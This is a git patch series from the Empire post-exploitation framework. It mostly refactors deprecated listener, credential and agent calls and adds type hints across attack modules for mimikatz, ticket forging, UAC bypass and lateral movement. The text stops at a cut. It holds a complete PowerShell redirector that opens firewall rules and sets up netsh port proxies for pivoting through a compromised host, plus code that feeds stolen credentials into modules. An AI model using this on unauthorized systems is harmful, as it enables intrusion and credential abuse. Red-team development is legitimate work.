due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files. -- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) + +### Added + - Added automatic tasking for sysinfo for stageless agents (@Cx01N) + +### Changed + +- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) - Make the installation of donut conditional on architecture since it doesn't work on ARM (@Vinnybod) - When donut is invoked but not installed, give a useful warning (@Vinnybod) - Allow a config to be loaded from an outside directory and the downloads/logs/etc to be stored in an outside directory (@Vinnybod) -- Drop support for Python 3.8 and 3.9 -- Update install script (@Vinnybod) - - Use pyenv to install Python - - Use the official Poetry installer - - Don't run the entire script as root - - Rewrite the test containers and reuse a templated Dockerfile - - Add Debian12 support - - Bump all OS to use Python 3.12 - - Refactor the script to be a bit more readable - - Condense the test_install_script job - - Added option to start MySQL service on boot (@Cx01N) +- Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod) +- Updated the ruff minimum Python version to 3.10 and applied fixes to get codebase compliant (@Vinnybod) +- Remove unneeded condition statement from all listeners (@Vinnybod) - Update Docker build (@Vinnybod) - Use the official Poetry installer - Fix Starkiller trying to auto-update inside the container @@ -43,14 +57,25 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Use Python 3.12 - Don't use apt for powershell and dotnet - DockerHub images now have linux/amd64 and linux/arm64 architectures -- Dependency changes (@Vinnybod) +- Dependency changes (@Vinnybod) - Use BC-Security fork of md2pdf until upstream can support Python 3.12 - Use a patched version of pysecretsocks that packages asyncore for Python 3.12 support - Use docopt-ng for Python 3.12 support - Add packaging as a runtime dependency -- Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod) -- Remove unneeded condition statement from all listeners (@Vinnybod) -- Updated the ruff minimum Python version to 3.10 and applied fixes to get codebase compliant (@Vinnybod) +- Update install script (@Vinnybod) + - Use pyenv to install Python + - Use the official Poetry installer + - Don't run the entire script as root + - Rewrite the test containers and reuse a templated Dockerfile + - Add Debian12 support + - Bump all OS to use Python 3.12 + - Refactor the script to be a bit more readable + - Condense the test_install_script job + - Added option to start MySQL service on boot (@Cx01N) + +### Removed + +- Drop support for Python 3.8 and 3.9 ## [5.7.3] - 2023-10-17 From 45ff7d105aa8356746638964a5af4022488d1bb4 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 19 Nov 2023 22:26:45 -0700 Subject: [PATCH 23/29] Remove usages of deprecated listener and credential functions (#732) * remove usages of deprecated listener function * remove usages of deprecated credential functions * changelog, update imports, add typehinting * remove usages of deprecated agent functions --- CHANGELOG.md | 3 + empire/server/core/credential_service.py | 2 +- .../data/misc/inactive_modules/redirector.py | 18 +-- empire/server/listeners/port_forward_pivot.py | 146 +++++++++--------- empire/server/listeners/smb.py | 26 ++-- .../modules/csharp/Assembly.Covenant.py | 3 +- .../csharp/AssemblyReflect.Covenant.py | 3 +- .../modules/csharp/Inject_BOF.Covenant.py | 3 +- .../csharp/ProcessInjection.Covenant.py | 5 +- .../modules/csharp/Shellcode.Covenant.py | 3 +- .../powershell/code_execution/invoke_ntsd.py | 5 +- .../invoke_reflectivepeinjection.py | 3 +- .../code_execution/invoke_shellcode.py | 3 +- .../code_execution/invoke_shellcodemsil.py | 3 +- .../powershell/collection/SharpChromium.py | 3 +- .../modules/powershell/collection/WireTap.py | 3 +- .../collection/get_sql_column_sample_data.py | 3 +- .../modules/powershell/collection/minidump.py | 3 +- .../powershell/collection/packet_capture.py | 3 +- .../powershell/collection/screenshot.py | 3 +- .../credentials/credential_injection.py | 32 ++-- .../credentials/mimikatz/dcsync_hashdump.py | 3 +- .../credentials/mimikatz/golden_ticket.py | 29 ++-- .../credentials/mimikatz/lsadump.py | 3 +- .../credentials/mimikatz/mimitokens.py | 3 +- .../powershell/credentials/mimikatz/pth.py | 29 ++-- .../credentials/mimikatz/silver_ticket.py | 37 +++-- .../credentials/mimikatz/trust_keys.py | 3 +- .../modules/powershell/credentials/tokens.py | 3 +- .../powershell/exfiltration/PSRansom.py | 3 +- .../exploitation/exploit_eternalblue.py | 3 +- .../lateral_movement/inveigh_relay.py | 5 +- .../lateral_movement/invoke_dcom.py | 8 +- .../lateral_movement/invoke_executemsbuild.py | 29 ++-- .../lateral_movement/invoke_psexec.py | 5 +- .../lateral_movement/invoke_psremoting.py | 22 ++- .../lateral_movement/invoke_smbexec.py | 8 +- .../lateral_movement/invoke_sqloscmd.py | 28 ++-- .../lateral_movement/invoke_sshcommand.py | 20 +-- .../powershell/lateral_movement/invoke_wmi.py | 35 +++-- .../lateral_movement/invoke_wmi_debugger.py | 26 ++-- .../jenkins_script_console.py | 3 +- .../new_gpo_immediate_task.py | 5 +- .../powershell/management/invoke_bypass.py | 3 +- .../powershell/management/invoke_script.py | 3 +- .../modules/powershell/management/logoff.py | 3 +- .../management/mailraider/disable_security.py | 3 +- .../management/mailraider/get_emailitems.py | 3 +- .../modules/powershell/management/psinject.py | 5 +- .../management/reflective_inject.py | 5 +- .../modules/powershell/management/runas.py | 32 ++-- .../modules/powershell/management/shinject.py | 5 +- .../modules/powershell/management/spawn.py | 3 +- .../modules/powershell/management/spawnas.py | 24 +-- .../powershell/management/switch_listener.py | 3 +- .../powershell/management/user_to_sid.py | 3 +- .../persistence/elevated/registry.py | 5 +- .../persistence/elevated/schtasks.py | 5 +- .../powershell/persistence/elevated/wmi.py | 2 +- .../persistence/elevated/wmi_updater.py | 3 +- .../persistence/misc/add_sid_history.py | 3 +- .../powershell/persistence/misc/debugger.py | 5 +- .../persistence/powerbreach/deaduser.py | 5 +- .../persistence/powerbreach/eventlog.py | 5 +- .../persistence/powerbreach/resolver.py | 5 +- .../persistence/userland/backdoor_lnk.py | 7 +- .../persistence/userland/registry.py | 5 +- .../persistence/userland/schtasks.py | 5 +- .../server/modules/powershell/privesc/ask.py | 5 +- .../modules/powershell/privesc/bypassuac.py | 5 +- .../powershell/privesc/bypassuac_env.py | 5 +- .../powershell/privesc/bypassuac_eventvwr.py | 5 +- .../powershell/privesc/bypassuac_fodhelper.py | 5 +- .../privesc/bypassuac_sdctlbypass.py | 5 +- .../privesc/bypassuac_tokenmanipulation.py | 3 +- .../powershell/privesc/bypassuac_wscript.py | 5 +- .../modules/powershell/privesc/ms16-032.py | 3 +- .../modules/powershell/privesc/ms16-135.py | 3 +- .../privesc/powerup/service_exe_stager.py | 3 +- .../privesc/powerup/service_stager.py | 3 +- .../privesc/powerup/write_dllhijacker.py | 3 +- .../powershell/recon/fetch_brute_local.py | 3 +- .../modules/powershell/recon/find_fruit.py | 3 +- .../recon/get_sql_server_login_default_pw.py | 3 +- .../host/computerdetails.py | 3 +- .../network/get_sql_server_info.py | 3 +- .../python/collection/osx/imessage_dump.py | 3 +- .../collection/osx/native_screenshot_mss.py | 3 +- .../modules/python/collection/osx/prompt.py | 3 +- .../python/collection/osx/search_email.py | 3 +- .../modules/python/collection/osx/sniffer.py | 3 +- .../lateral_movement/multi/ssh_launcher.py | 3 +- .../modules/python/management/multi/spawn.py | 3 +- .../management/osx/shellcodeinject64.py | 3 +- .../python/persistence/multi/desktopfile.py | 3 +- .../python/persistence/osx/CreateHijacker.py | 3 +- .../python/persistence/osx/LaunchAgent.py | 3 +- .../osx/LaunchAgentUserLandPersistence.py | 3 +- .../python/persistence/osx/loginhook.py | 3 +- .../modules/python/persistence/osx/mail.py | 3 +- .../python/privesc/multi/CVE-2021-3560.py | 3 +- .../python/privesc/multi/CVE-2021-4034.py | 3 +- .../modules/python/privesc/multi/bashdoor.py | 3 +- .../python/privesc/multi/sudo_spawn.py | 3 +- .../python/privesc/osx/dyld_print_to_file.py | 3 +- .../modules/python/privesc/osx/piggyback.py | 3 +- .../host/osx/situational_awareness.py | 3 +- empire/server/stagers/osx/shellcode.py | 2 +- empire/server/stagers/windows/dll.py | 2 +- empire/server/stagers/windows/shellcode.py | 2 +- .../test/data/modules/test_custom_module.py | 3 +- empire/test/test_modules.py | 6 +- 112 files changed, 509 insertions(+), 373 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8bc936ac2..59ad87e76 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Upgrade Pydantic to v2 (@Vinnybod) - Update common FastAPI Dependencies to use 'Annotated' types for simpler code (@Vinnybod) - Simplify TestClient setup (@Vinnybod) +- Removed usages of deprecated `Credentials` and `Listeners` functions (@Vinnybod) +- Remove usages of deprecated `Agents` functions (@Vinnybod) +- Add typehinting for `MainMenu` object in modules (@Vinnybod) ### Removed diff --git a/empire/server/core/credential_service.py b/empire/server/core/credential_service.py index 9c7820597..4294b4e53 100644 --- a/empire/server/core/credential_service.py +++ b/empire/server/core/credential_service.py @@ -40,7 +40,7 @@ def get_all( return query.all() @staticmethod - def get_by_id(db: Session, uid: int): + def get_by_id(db: Session, uid: int) -> models.Credential | None: return db.query(models.Credential).filter(models.Credential.id == uid).first() @staticmethod diff --git a/empire/server/data/misc/inactive_modules/redirector.py b/empire/server/data/misc/inactive_modules/redirector.py index c5182e48c..d784d38c9 100644 --- a/empire/server/data/misc/inactive_modules/redirector.py +++ b/empire/server/data/misc/inactive_modules/redirector.py @@ -23,15 +23,15 @@ def __init__(self, mainMenu): 'Background' : False, 'OutputExtension' : None, - + 'NeedsAdmin' : True, 'OpsecSafe' : True, - + 'Language' : 'powershell', 'MinLanguageVersion' : '2', - + 'Comments': [] } @@ -81,7 +81,7 @@ def __init__(self, mainMenu): self.mainMenu = mainMenu def generate(self, obfuscate=False, obfuscation_command=""): - + script = """ function Invoke-Redirector { param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) @@ -111,7 +111,7 @@ def generate(self, obfuscate=False, obfuscation_command=""): else{ $ConnectAddress = "" $ConnectPort = "" - + $parts = $ConnectHost -split(":") if($parts.Length -eq 2){ # if the form is http[s]://HOST or HOST:PORT @@ -135,7 +135,7 @@ def generate(self, obfuscate=False, obfuscation_command=""): $ConnectPort = $parts[2] } if($ConnectPort -ne ""){ - + $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out @@ -151,14 +151,14 @@ def generate(self, obfuscate=False, obfuscation_command=""): } } Invoke-Redirector""" - + addAsListener = False listenerName = False for option,values in self.options.items(): if option.lower() == "listener" and values['Value'] != '': # extract out all options from a listener if one is set - if not self.mainMenu.listeners.is_listener_valid(values['Value']): + if not self.mainMenu.listenersv2.get_active_listener_by_name(values['Value']): print(helpers.color("[!] Invalid listener set")) return "" else: @@ -178,7 +178,7 @@ def generate(self, obfuscate=False, obfuscation_command=""): # if we're just adding a switch script += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + script += " -" + str(option) + " " + str(values['Value']) if addAsListener: if listenerName: # if we're add this as a pivot listener diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 4b784ee54..abf0ef59f 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -704,10 +704,10 @@ def start(self, name=""): return False # validate that the Listener does exist - if self.mainMenu.listeners.is_listener_valid(listenerName): + if self.mainMenu.listenersv2.get_active_listener_by_name(listenerName): # check if a listener for the agent already exists - if self.mainMenu.listeners.is_listener_valid( + if self.mainMenu.listenersv2.get_active_listener_by_name( tempOptions["Name"]["Value"] ): log.error( @@ -862,93 +862,91 @@ def shutdown(self, name=""): self.instance_log.info(f"{name}: shutting down...") log.info(f"{name}: shutting down...") - sessionID = self.mainMenu.agents.get_agent_id_db(name) - isElevated = self.mainMenu.agents.is_agent_elevated(sessionID) - if self.mainMenu.agents.is_agent_present(sessionID) and isElevated: - if self.mainMenu.agents.get_language_db(sessionID).startswith("po"): - script = """ - function Invoke-Redirector { - param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) - if($ShowAll){ - $out = netsh interface portproxy show all - if($out){ - $out - } - else{ - "[*] no redirectors currently configured" - } - } - elseif($Reset){ - Netsh.exe advfirewall firewall del rule name="$FirewallName" - $out = netsh interface portproxy reset - if($out){ - $out - } - else{ - "[+] successfully removed all redirectors" + with SessionLocal() as db: + agent = self.mainMenu.agentsv2.get_by_name(db, name) + + if not agent: + log.error("Agent is not present in the cache or not elevated") + return + + if agent.high_integrity: + if agent.language.startswith("po"): + script = """ + function Invoke-Redirector { + param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) + if($ShowAll){ + $out = netsh interface portproxy show all + if($out){ + $out + } + else{ + "[*] no redirectors currently configured" + } } - } - else{ - if((-not $ListenPort)){ - "[!] netsh error: required option not specified" + elseif($Reset){ + Netsh.exe advfirewall firewall del rule name="$FirewallName" + $out = netsh interface portproxy reset + if($out){ + $out + } + else{ + "[+] successfully removed all redirectors" + } } else{ - $ConnectAddress = "" - $ConnectPort = "" - - $parts = $ConnectHost -split(":") - if($parts.Length -eq 2){ - # if the form is http[s]://HOST or HOST:PORT - if($parts[0].StartsWith("http")){ - $ConnectAddress = $parts[1] -replace "//","" - if($parts[0] -eq "https"){ - $ConnectPort = "443" + if((-not $ListenPort)){ + "[!] netsh error: required option not specified" + } + else{ + $ConnectAddress = "" + $ConnectPort = "" + + $parts = $ConnectHost -split(":") + if($parts.Length -eq 2){ + # if the form is http[s]://HOST or HOST:PORT + if($parts[0].StartsWith("http")){ + $ConnectAddress = $parts[1] -replace "//","" + if($parts[0] -eq "https"){ + $ConnectPort = "443" + } + else{ + $ConnectPort = "80" + } } else{ - $ConnectPort = "80" + $ConnectAddress = $parts[0] + $ConnectPort = $parts[1] } } - else{ - $ConnectAddress = $parts[0] - $ConnectPort = $parts[1] + elseif($parts.Length -eq 3){ + # if the form is http[s]://HOST:PORT + $ConnectAddress = $parts[1] -replace "//","" + $ConnectPort = $parts[2] } - } - elseif($parts.Length -eq 3){ - # if the form is http[s]://HOST:PORT - $ConnectAddress = $parts[1] -replace "//","" - $ConnectPort = $parts[2] - } - if($ConnectPort -ne ""){ - Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes - $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp - if($out){ - $out + if($ConnectPort -ne ""){ + Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes + $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp + if($out){ + $out + } + else{ + "[+] successfully added redirector on port $ListenPort to $ConnectHost" + } } else{ - "[+] successfully added redirector on port $ListenPort to $ConnectHost" + "[!] netsh error: host not in http[s]://HOST:[PORT] format" } } - else{ - "[!] netsh error: host not in http[s]://HOST:[PORT] format" - } } } - } - Invoke-Redirector""" + Invoke-Redirector""" - script += " -Reset" - script += " -FirewallName %s" % (sessionID) + script += " -Reset" + script += f" -FirewallName {agent.session_id}" - with SessionLocal.begin() as db: - agent = self.mainMenu.agentsv2.get_by_id(db, sessionID) self.mainMenu.agenttasksv2.create_task_shell(db, agent, script) - msg = "Tasked agent to uninstall Pivot listener " - self.mainMenu.agents.save_agent_log(sessionID, msg) - - elif self.mainMenu.agents.get_language_db(sessionID).startswith("py"): - log.error("Shutdown not implemented for python") - - else: - log.error("Agent is not present in the cache or not elevated") + msg = "Tasked agent to uninstall Pivot listener " + self.mainMenu.agents.save_agent_log(agent.session_id, msg) - pass + elif agent.language.startswith("py"): + log.error("Shutdown not implemented for python") diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index 261b33126..781b2d5bc 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -423,20 +423,20 @@ def start(self, name=""): """ try: tempOptions = copy.deepcopy(self.options) - sessionID = self.mainMenu.agents.get_agent_id_db( - self.options["Agent"]["Value"] - ) - if self.mainMenu.agents.is_agent_present(sessionID): - with SessionLocal.begin() as db: - agent = self.mainMenu.agentsv2.get_by_id( - db, self.options["Agent"]["Value"] - ) - self.mainMenu.agenttasksv2.create_task_smb( - db, agent, name + "|" + self.options["PipeName"]["Value"] - ) - self.parent_agent = agent.session_id - parent_listener_name = agent.listener + with SessionLocal() as db: + agent = self.mainMenu.agentsv2.get_by_id( + db, self.options["Agent"]["Value"] + ) + + if not agent: + return + + self.mainMenu.agenttasksv2.create_task_smb( + db, agent, name + "|" + self.options["PipeName"]["Value"] + ) + self.parent_agent = agent.session_id + parent_listener_name = agent.listener log.info( f"{self.options['Agent']['Value']}: SMB pivot server task request send to agent" diff --git a/empire/server/modules/csharp/Assembly.Covenant.py b/empire/server/modules/csharp/Assembly.Covenant.py index 6b982504b..5de5d7e71 100755 --- a/empire/server/modules/csharp/Assembly.Covenant.py +++ b/empire/server/modules/csharp/Assembly.Covenant.py @@ -1,12 +1,13 @@ import yaml +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/csharp/AssemblyReflect.Covenant.py b/empire/server/modules/csharp/AssemblyReflect.Covenant.py index a8cda9c40..a6d85ff24 100755 --- a/empire/server/modules/csharp/AssemblyReflect.Covenant.py +++ b/empire/server/modules/csharp/AssemblyReflect.Covenant.py @@ -1,12 +1,13 @@ import yaml +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/csharp/Inject_BOF.Covenant.py b/empire/server/modules/csharp/Inject_BOF.Covenant.py index 739805737..a0bbf1da9 100644 --- a/empire/server/modules/csharp/Inject_BOF.Covenant.py +++ b/empire/server/modules/csharp/Inject_BOF.Covenant.py @@ -1,12 +1,13 @@ import yaml +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py index 9e11945a2..2e55ab92d 100644 --- a/empire/server/modules/csharp/ProcessInjection.Covenant.py +++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py @@ -6,6 +6,7 @@ import yaml from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -13,7 +14,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -31,7 +32,7 @@ def generate( arch = params["Architecture"] launcher_obfuscation = params["Obfuscate"] - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/csharp/Shellcode.Covenant.py b/empire/server/modules/csharp/Shellcode.Covenant.py index 37ea76e0b..ad744266a 100755 --- a/empire/server/modules/csharp/Shellcode.Covenant.py +++ b/empire/server/modules/csharp/Shellcode.Covenant.py @@ -1,12 +1,13 @@ import yaml +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index e293a7aed..269ebfad2 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -48,7 +49,7 @@ def generate( return handle_error_message(err) script_end = "" - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: %s" % (listener_name)) else: diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index 4fd5ff1d0..ee9761860 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -1,6 +1,7 @@ import base64 from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index b3854aca8..86d8072f5 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -1,12 +1,13 @@ import base64 +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py index 3e2af0c2d..71264b052 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/collection/SharpChromium.py b/empire/server/modules/powershell/collection/SharpChromium.py index 959a1993a..1c9fdc737 100644 --- a/empire/server/modules/powershell/collection/SharpChromium.py +++ b/empire/server/modules/powershell/collection/SharpChromium.py @@ -1,5 +1,6 @@ import logging +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +10,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/collection/WireTap.py b/empire/server/modules/powershell/collection/WireTap.py index ac358be72..e6e33fd99 100644 --- a/empire/server/modules/powershell/collection/WireTap.py +++ b/empire/server/modules/powershell/collection/WireTap.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py index 344bb8e26..4b8bda46e 100644 --- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py +++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py @@ -1,11 +1,12 @@ from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/collection/minidump.py b/empire/server/modules/powershell/collection/minidump.py index 620693b55..0a38e6a2a 100644 --- a/empire/server/modules/powershell/collection/minidump.py +++ b/empire/server/modules/powershell/collection/minidump.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py index bfdd668a3..fb8b43c9c 100644 --- a/empire/server/modules/powershell/collection/packet_capture.py +++ b/empire/server/modules/powershell/collection/packet_capture.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py index 145d52a1b..b0dbd719a 100644 --- a/empire/server/modules/powershell/collection/screenshot.py +++ b/empire/server/modules/powershell/collection/screenshot.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/credentials/credential_injection.py b/empire/server/modules/powershell/credentials/credential_injection.py index dfe8d9807..6e0e2cad3 100644 --- a/empire/server/modules/powershell/credentials/credential_injection.py +++ b/empire/server/modules/powershell/credentials/credential_injection.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,22 +33,23 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.credtype != "plaintext": - return handle_error_message( - "[!] A CredID with a plaintext password must be used!" - ) + if cred.credtype != "plaintext": + return handle_error_message( + "[!] A CredID with a plaintext password must be used!" + ) - if cred.domain != "": - params["DomainName"] = cred.domain - if cred.username != "": - params["UserName"] = cred.username - if cred.password != "": - params["Password"] = cred.password + if cred.domain != "": + params["DomainName"] = cred.domain + if cred.username != "": + params["UserName"] = cred.username + if cred.password != "": + params["Password"] = cred.password if ( params["DomainName"] == "" diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py index e15899e65..b3bc8bd0e 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py index c109d3dd5..c2d5c08e7 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -1,6 +1,7 @@ import logging -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +11,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -29,19 +30,21 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) - if cred.username != "krbtgt": - return handle_error_message("[!] A krbtgt account must be used") + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.domain != "": - params["domain"] = cred.domain - if cred.sid != "": - params["sid"] = cred.sid - if cred.password != "": - params["krbtgt"] = cred.password + if cred.username != "krbtgt": + return handle_error_message("[!] A krbtgt account must be used") + + if cred.domain != "": + params["domain"] = cred.domain + if cred.sid != "": + params["sid"] = cred.sid + if cred.password != "": + params["krbtgt"] = cred.password if params["krbtgt"] == "": log.error("krbtgt hash not specified") diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py index d2dc51167..1eb2d4365 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py 